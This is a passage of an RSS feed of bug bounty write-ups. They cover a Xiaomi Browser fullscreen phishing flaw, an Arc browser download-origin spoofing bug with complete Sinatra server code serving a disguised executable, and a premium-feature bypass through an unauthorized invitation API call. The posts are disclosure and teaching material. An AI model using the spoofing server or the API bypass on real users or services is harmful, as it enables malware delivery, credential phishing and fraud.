math.</p><p>And the craziest part?<br> This exact bug pattern existed in <em>older Besu builds</em> too.<br> Meaning other projects forked from those versions might still be silently broken.</p><p>Consensus bugs like this don’t just break chains — <br> they <strong>replicate</strong> like memes.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2d2f5ca11da3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Easy Browser Bug: Fullscreen That Hides the Truth]]></title>
            <link>https://medium.com/@FufuFaf1/easy-browser-bug-fullscreen-that-hides-the-truth-f30fe908d872?source=rss-2fc9983538b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/f30fe908d872</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacker]]></category>
            <dc:creator><![CDATA[MostReal]]></dc:creator>
            <pubDate>Sun, 28 Sep 2025 15:35:51 GMT</pubDate>
            <atom:updated>2025-09-28T15:40:21.509Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/198/1*7oYsfO2Nu5hP4lLrC6q7XA.png" /></figure><p>Imagine you’re scrolling on your phone, chill mode on. A site asks you to go fullscreen — maybe it’s a video, maybe it’s a game. You tap the button. On Chrome, Firefox, Safari, and Edge, the browser flashes a friendly heads-up: <strong>“You are now in fullscreen mode.”</strong> That little banner isn’t dramatic; it’s a lifeline. It tells you: *hey, the page now controls the whole screen — be careful.*</p><p>On Xiaomi Browser, that lifeline disappears. Tap the same button and the page goes full-screen instantly — no banner, no persistent indicator, no trusted UI left visible. The real address bar vanishes. The screen becomes a perfect canvas. And that’s when things get scary.</p><p>— -</p><p>## The moment it went wrong<br>I loaded a tiny PoC page with a single <strong>“Enter Fullscreen”</strong> button. On mainstream browsers: banner + small trusted UI element + clear exit affordance. On Xiaomi Browser: blackout. The web content owns every pixel. No warning. No sign telling the user they just handed control over their screen.</p><p>That blank canvas lets a malicious page draw anything — including a pixel-perfect fake address bar and login form. On a tiny mobile screen, a fake `<a href="https://accounts.google.com`/">https://accounts.google.com`</a> bar plus a convincing login prompt is all it takes to trick people into handing over credentials.</p><p>— -</p><p>## Why this is such an easy win for phishers<br>- <strong>Trusted UI gone.</strong> Users rely on that address bar to confirm where they are. When it’s hidden, visual spoofing becomes trivial. <br>- <strong>Mobile screens are small.</strong> Limited space means users scan less and trust visuals more. <br>- <strong>Fullscreen is a powerful illusion.</strong> A well-crafted fake UI in fullscreen looks and <strong>feels</strong> real.</p><p>Put those together and you get a phishing vector that requires almost zero technical complexity — just clever UI work.</p><p>— -</p><p>## What every browser gets right (and Xiaomi missed)<br>All major browsers show a non-spoofable fullscreen notification or keep a small piece of trusted UI visible when a site enters fullscreen. That’s intentional: it prevents web content from pretending to be the browser itself. Xiaomi Browser’s behavior breaks that assumption — and that’s the core of the problem.</p><p>— -</p><p>## Short PoC (what I did)<br>1. Open PoC HTML (single page with `requestFullscreen()` triggered by a button) in Xiaomi Browser. <br>2. Tap <strong>“Enter Fullscreen”</strong>. <br>3. Observe: no fullscreen banner, address bar hidden, content occupies entire screen. <br>4. Overlay a fake address bar in the page content — now you have a convincing phishing screen.</p><p>— -</p><p>## Impact (simple and scary)<br>This isn’t memory corruption or a fancy remote exploit. It’s social engineering amplified by a small UX/security omission. Users can be tricked into entering credentials for banks, email, or other services. Because the attack is cheap and reliable, it can scale: large-scale credential theft is possible.</p><p>Severity is context-dependent, but on mobile where users are less vigilant, this is dangerous.</p><p>— -</p><p>## Fix recommendations (short and practical)<br>- <strong>Always show a persistent, browser-controlled fullscreen indicator</strong> outside the webpage rendering area. <br>- Make that indicator <strong>non-spoofable</strong> by pages (rendered by the browser UI, not HTML/CSS). <br>- Optionally require explicit user consent for fullscreen in sensitive contexts (e.g., login pages). <br>- Ensure an obvious, consistent exit method is visible during fullscreen.</p><p>— -</p><p>## Final note<br>This is an <strong>easy</strong> bug — not because it’s trivial to exploit (it kinda is), but because the root cause is a single missed UX/security rule: don’t let web content hide the trusted UI. All major browsers follow that rule. Xiaomi Browser didn’t. That tiny omission turns fullscreen into a phisher’s playground.</p><p>Be careful what you tap. And vendors — don’t make fullscreen lie to your users.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f30fe908d872" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Escalated a Navigation Bug Into Trusted-Origin File Downloads]]></title>
            <link>https://medium.com/@FufuFaf1/how-i-escalated-a-navigation-bug-into-trusted-origin-file-downloads-0dca4c38d896?source=rss-2fc9983538b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/0dca4c38d896</guid>
            <category><![CDATA[spoofing]]></category>
            <category><![CDATA[browsers]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[MostReal]]></dc:creator>
            <pubDate>Thu, 11 Sep 2025 13:29:29 GMT</pubDate>
            <atom:updated>2025-09-11T13:29:29.742Z</atom:updated>
            <content:encoded><![CDATA[<p>## Introduction<br>While testing a modern browser, I noticed an unusual behavior when combining redirects with browser navigation features.</p><p>At first, it looked like a harmless quirk: the browser behaved strangely when using the <strong>Forward</strong> button. But then I asked myself:</p><p><strong>“Could this lead to a file download that appears to come from a trusted site?”</strong></p><p>The answer was yes — and that turned a minor bug into a critical finding.</p><p>— -</p><p>## Step 1 — Setting Up the Redirect Chain<br>I built a small Sinatra server that:<br>- Redirects the user once to /index.html. <br>- On the next navigation attempt, responds with a file download instead of a page.</p><p>This meant the attack flow required <strong>two visits</strong>:<br>1. First, to reach the trusted site (e.g., <a href="https://google.com`/">https://google.com</a>). <br>2. Then, when the victim pressed the <strong>Forward</strong> button, the browser delivered a download instead of the expected page.</p><p>— -</p><p>## Step 2 — Triggering the File Download<br>The download was forced using Content-Disposition headers:</p><pre>get &#39;/data&#39; do<br> headers &#39;Cache-Control&#39; =&gt; &#39;no-store&#39;,<br> &#39;Content-Type&#39; =&gt; &#39;application/x-msdownload&#39;,<br> &#39;Content-Disposition&#39; =&gt; &#39;attachment; filename=Urgent_Update.exe&#39;<br> File.binread(&#39;malware&#39;) # dummy executable<br>end</pre><p>FULL CODE!</p><pre>require &#39;sinatra&#39;<br><br>set :bind, ARGV[0]<br>set :port, ARGV[1].to_i<br><br>$redirect = false<br><br>get &#39;/&#39; do<br>  $redirect = true<br>  headers &#39;Cache-Control&#39; =&gt; &#39;no-store&#39;<br>  redirect &#39;/index.html&#39;<br>end<br><br>get &#39;/index.html&#39; do<br>  headers &#39;Cache-Control&#39; =&gt; &#39;no-store&#39;<br>  if $redirect<br>    $redirect = false<br>    File.read(&#39;index.html&#39;)<br>  else<br>    redirect &#39;data&#39;<br>  end<br>end<br><br>get &#39;/data&#39; do<br>  headers &#39;Cache-Control&#39; =&gt; &#39;no-store&#39;,<br>          &#39;Content-type&#39; =&gt; &#39;application/x-msdownload&#39;,<br>          &#39;Content-Disposition&#39; =&gt; &#39;attachment; filename=downloadFrom https∶⧸⧸google.com.txt&#39;<br>  File.binread(&#39;malware&#39;)<br>end</pre><p>From the victim’s perspective:<br>- They browse to Google normally. <br>- Later, they use <strong>forward navigation</strong>. <br>- Suddenly, a file download begins.</p><p>— -</p><p>## Step 3 — Broken Attribution<br>Here’s the critical bug: <br>Arc attributed the download to <strong>google.com</strong> because that was the last trusted site in the navigation context.</p><p>In other words:<br>- <strong>URL bar:</strong> `<a href="https://google.com`/">https://google.com`</a> <br>- <strong>Actual source:</strong> attacker-controlled server</p><p>This creates a strong illusion that the file came from Google itself.</p><p>— -</p><p>## Step 4 — Strengthening the Illusion With Filename Spoofing<br>By manipulating the filename inside the `Content-Disposition` header:</p><pre>Content-Disposition: attachment; filename=&quot;downloadFrom https∶⧸⧸google.com.txt&quot;</pre><p>…the deception becomes almost perfect: <br>- Arc shows the origin as Google. <br>- The filename explicitly references Google.</p><p>To the user, there’s no reason to doubt the legitimacy of the download.</p><p>— -</p><p>## Why This Matters<br>Most modern browsers enforce strict rules to prevent this exact scenario:<br>- Normalizing malformed :// schemes. <br>- Correctly attributing downloads to their initiator domain. <br>- Blocking downloads triggered during ambiguous navigation.</p><p>Arc Browser bypasses these protections, leaving users vulnerable to **trusted-origin spoofing** during something as basic as forward navigation.</p><p><strong>Impact:</strong><br>- <strong>Deceptive downloads:</strong> Users believe the file originates from Google. <br>- <strong>Malware/phishing risk:</strong> Attackers can deliver executables disguised as legitimate updates. <br>- <strong>Erosion of trust: </strong>Download attribution — one of the browser’s most important guarantees — is broken.</p><p>— -</p><p>## Conclusion<br>What started as a strange navigation quirk escalated into a critical vulnerability: <br>- <strong>Automatic downloads triggered on forward navigation</strong>** <br>- <strong>Incorrect attribution to trusted origins</strong>** <br>- <strong>Filename spoofing to reinforce the deception</strong></p><p>This shows how small browser inconsistencies can combine into high-impact security flaws when examined through an attacker’s lens.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0dca4c38d896" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Unlocked Premium Features for Free via a Simple API Trick (Privilege Escalation Story)]]></title>
            <link>https://medium.com/@FufuFaf1/how-i-unlocked-premium-features-for-free-via-a-simple-api-trick-privilege-escalation-story-ac1b4edba454?source=rss-2fc9983538b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/ac1b4edba454</guid>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[MostReal]]></dc:creator>
            <pubDate>Thu, 03 Jul 2025 23:19:12 GMT</pubDate>
            <atom:updated>2025-07-03T23:23:02.338Z</atom:updated>
            <content:encoded><![CDATA[<p>## 🎯 Introduction</p><p>Sometimes, the most interesting vulnerabilities are not about complex reverse engineering or exotic crypto attacks. <br>Instead, they’re hiding in plain sight — waiting for someone curious enough to look beyond the surface.</p><p>In this writeup, I’ll share how I found a simple but impactful <strong>privilege escalation vulnerability</strong> that allowed me to unlock <strong>premium-only features</strong> on a popular productivity platform, <strong>without paying a cent</strong>.</p><p>No fancy tricks, no complex hacking. Just a bit of curiosity, some API requests, and a clear case of <strong>improper authorization</strong>.</p><p>## 🧐 The Setup</p><p>Here’s the situation:</p><p>- I had <strong>two accounts</strong>:<br> — <strong>Account A</strong>: Free Plan.<br> — <strong>Account B</strong>: Free Trial Account.</p><p>Normally, these accounts can’t use premium features — everything is locked behind a paywall.</p><p>One of the premium-only features was <strong>team invitations</strong> — basically, adding other users to your workspace/team.</p><p>## 👨‍💻 Digging Deeper: Is the API Honest?</p><p>The platform’s UI was clean. No buttons, no way to invite anyone on my accounts. Locked, as expected.</p><p>But… what about the API?</p><blockquote>I opened the Developer Tools → Network tab → performed basic actions → and found an interesting endpoint:</blockquote><pre>POST /api/team/current/invitations?source=invite</pre><p>Looks promising.</p><p>## 🚀 The Exploit (Too Easy)</p><p>I grabbed my authorization token and crafted a simple POST request:</p><pre>[<br>  {<br>    &quot;email&quot;: &quot;attacker@example.com&quot;,<br>    &quot;role&quot;: &quot;USER&quot;,<br>    &quot;inviteMessage&quot;: &quot;Join our team!&quot;<br>  }<br>]</pre><p>Then, I fired the request.</p><p>Result? Boom. ✅ <br>The invite went through successfully. The user was added to the team, even though this account wasn’t supposed to have the ability to invite anyone.</p><p>## ⚠️ Why It Worked</p><p>The platform clearly enforced restrictions on the frontend — but the backend didn’t care.</p><p>There was <strong>no proper authorization check</strong> on the API to verify if my account had permission to invite team members. <br>As long as you had a valid session token, you could invite anyone.</p><p>## 🧠 Bonus Finding</p><p>Interestingly, they <strong>did</strong> have a backend system that detects spammy invite attempts.</p><p>If you spam invites too quickly, the system will automatically clean them up. <br>But this protection only worked against mass abuse — you could still invite users slowly, one by one, without triggering anything.</p><p>## 💡 Key Takeaway</p><p>This bug is a textbook example of:<br>- Broken Access Control<br>- Privilege Escalation via API<br>- How <strong>backend authorization</strong> must never rely on frontend restrictions.</p><p>## 🎁 Impact<br>- Unauthorized access to premium-only functionality.<br>- Potential revenue loss.<br>- Opens door for potential privilege escalation chains.</p><p>## 📌 Closing Thoughts</p><p>Bug bounties don’t always require hacking scenes straight out of Mr. Robot. <br>Sometimes, a simple API call is all it takes to break premium walls.</p><p>Lesson here? <br><strong>Trust, but verify. <br>Especially your backend authorization logic.</strong></p><p>— -</p><p><strong>Stay curious and happy hacking!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ac1b4edba454" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>